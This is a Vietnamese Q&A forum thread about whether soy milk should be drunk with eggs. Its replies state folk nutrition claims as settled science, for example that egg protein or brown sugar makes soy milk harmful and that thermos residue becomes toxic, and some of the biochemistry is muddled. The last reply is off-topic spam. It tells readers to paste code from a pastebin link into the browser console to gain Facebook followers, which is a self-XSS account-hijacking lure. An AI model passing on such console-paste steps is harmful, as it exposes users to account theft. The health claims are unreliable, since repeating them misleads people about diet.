Không nên uống sữa đậu nành cùng trứng gà?

zero
zero
Trả lời 14 năm trước
Sữa đậu nành pha với trứng gà mặc dù không sản sinh ra chất độc mới nhưng sẽ làm giảm giá trị dinh dưỡng. Lý do là chất protein có tính kết dính trong trứng gà có thể kết hợp với chất xúc tác protein tuyến tụy, từ đó gây ra những chất kết tủa, không có lợi cho tiêu hoá.
Võ Thành Đô
Võ Thành Đô
Trả lời 14 năm trước
Một số người cho rằng sữa đậu nành uống cùng với trứng gà có thể tăng thêm dinh dưỡng. Tuy nhiên đó là một sai lầm. Không nên uống sữa đậu nành cùng trứng gà Ảnh minh họa. Sữa đậu nành được chế biến từ đậu tương, có chứa protein thực vật tốt nhất trong các loại protein. Sữa đậu nành còn chứa nhiều chất như K, S, vitamin B và vitamin E, các acid béo. Uống sữa đậu nành thường xuyên có tác dụng giảm cholestrole, phòng chống xơ cứng động mạch, giảm bệnh dị ứng, ung thư dạ dày... Tuy nhiên, nếu uống sữa đậu nành không khoa học thì sẽ biến lợi thành hại. Sau đây là một số lưu ý khi uống sữa đậu nành: Không uống khi chưa đun sôi Sữa đậu nành chưa sôi, chín có chứa chất có hại saponin và chất dung môi protein chống dịch tụy. Nếu chúng ta uống vào sẽ gây ra trúng độc, triệu chứng biểu hiện là buồn nôn, đi ngoài, tứ chi đau mỏi… Vì vậy, khi hâm nóng sữa, nhiệt độ phải trên 90 độ C và đồng thời mở vung cho khí độc bay ra, như thế mới có thể làm cho các chất có hại như saponin biến chất và bị phá vỡ, khi uống sẽ không bị trúng độc. Không uống cùng trứng gà Sữa đậu nành pha với trứng gà mặc dù không sản sinh ra chất độc mới nhưng sẽ làm giảm giá trị dinh dưỡng. Lý do là chất protein có tính kết dính trong trứng gà có thể kết hợp với chất xúc tác protein tuyến tụy, từ đó gây ra những chất kết tủa, không có lợi cho tiêu hoá. Không pha đường đỏ Đường đỏ có tính axit, chứa chất creatine có thể kết hợp với protein trong sữa, đồng thời cũng gây ra chất kết tủa biến chất, không những làm cho đậu nành mất đi hương vị vốn có mà còn giảm thấp giá trị dinh dưỡng và gây rối loạn tiêu hoá. Không giữ trong bình ấm Có nhiều người cho sữa đậu nành đã đun sôi vào bình giữ ấm, khi nào muốn uống thì rót ra. Nhưng chất saponin trong sữa đậu nành có thể làm cho chất cặn trong bình rơi ra, những chất đó sẽ hoà vào trong sữa đậu nành. Điều này khiến bạn uống sữa đậu nành đồng thời cũng uống luôn cả chất cặn độc. Ngoài ra, sữa đậu nành để trong bình giữ nóng một thời gian dài sẽ tạo cơ hội cho vi khuẩn phát triển, khoảng mấy tiếng sau sữa đậu nành sẽ biến chất. Nếu uống sữa đậu nành bị biến chất, bạn sẽ dễ bị đau bụng, đi ngoài, tiêu hoá không tốt. [b][i] ( theo giaoducsuckhoe.net)[/i][/b]
hao
hao
Trả lời 10 năm trước

Không chỉ tốt cho hệ tim mạch, cũng cần nói thêm là đậu nành có rất ít bột đường nên cũng có lợi cho những bệnh nhân thừa cân, béo phì hay tiểu đường.

Theo nghiên cứu thì sữa đậu nành có tác dụng giảm huyết áp, giảm lượng cholesterol trong máu, ngăn ngừa khả năng xơ cứng động mạch ở người lớn. Hàm lượng protein trong sữa đậu cao, có tất cả 8 loại axit gốc amin cần thiết cho cơ thể, rất tốt cho việc bồi bổ tăng cường sức khoẻ. Axit béo không bão hoà ở trong sữa đậu ngoài tác dụng ngăn không cho mỡ đóng tầng trong cơ thể còn có tác dụng làm đẹp da mặt.

Vitamin B1 trong sữa đậu có tác dụng chống bệnh phù thũng, kéo lùi thời điểm xuất phát nếp nhăn. Theo y học cổ truyền, sữa đậu nành có các công năng sau: Thanh nhiệt, thông tràng lợi tiểu, bổ hư nhuận táo.

Tuy sữa đậu là đồ ăn tẩm bổ cao cấp mà lại kinh tế, nhưng khi dùng vẫn phải chú ý một số điểm:

Không được trộn cùng với trứng gà vì chất anbumin trong lòng trắng của trứng gà dễ kết hợp với chất tripxin trong sữa đậu nành sinh ra những chất khó hấp thụ với cơ thể người, làm mất đi giá trị dinh dưỡng.

Không được pha với đường đỏ bởi axit hữu cơ trong đường đỏ có thể kết hợp với protein trong sữa đậu sẽ sinh ra những chất khó hấp thụ với cơ thể người, còn đường trắng thì không có hiện tượng này.

Không được đựng sữa đậu nành trong phích giữ nhiệt, vì nếu để trong đó một thời gian dài sẽ làm sữa đậu biến chất, gây ra hậu quả xấu cho sức khoẻ con người. Không nên uống quá nhiều dễ dẫn tới hiện tượng đầy hơi, đi ngoài...

Phải nấu kỹ vì trong sữa đậu nành có chất tripxin, nếu không chế biến kỹ khi ăn dễ gây ra đau bụng, buồn nôn, ói mửa.

uyen_xinh
uyen_xinh
Trả lời 10 năm trước

dạo này thấy trên facebook nhiều anh, chị em, bị lừa tham gia sub cho một nhóm nào đó

xem stt mấy you có mấy ngàn sub mà stt có vài like là hiểu rồi các bạn ạ

Mấu chốt để bạn có thể tăng lược like ảnh là bạn phải có thật nhiều người theo dõi Cách đơn giản nhất làm theo các bước sau

dưới đây bao gồm một đoạn code khi chạy mọi thông tin cập nhập của bạn sẽ được nhiều người thấy nhất từ đó bạn có thể tăng được lượng like , theo dõi , tùy vào người thấy bạn
Bước 1 Kích hoạt Sub các bạn có thể xem chi tiết tại đây "có thể bỏ qua bước này"
http://www.baomoi.com/Cach-su-dung-n...76/7129818.epi
Bước 2 : Bạn truy cập http://pastebin.com/raw.php?i=kS8CCEMu
Bước 2 : ctrl +a chọn tất cả trong đó rồi ctrl +c để coppy
Bước 3 : trình duyệt chrome ấn F12 chọn console nếu bạn sử dụng trình duyệt Firefox thì ấn ctrl + shift + k
Paste đoạn mã vừa rồi ( Ctrl + v )
Bước 4: Ấn Enter và chờ 5s cho code chạy Báo cả 1 rổ hang chữ đỏ như thế này là ok
Refused to set unsafe header "Content-length"
Refused to set unsafe header "Connection"
ReferenceError: gid is not defined
Nếu không có thông báo như trên thì bạn chạy lại nhé, nói không với bọn sub ảo nhé =)))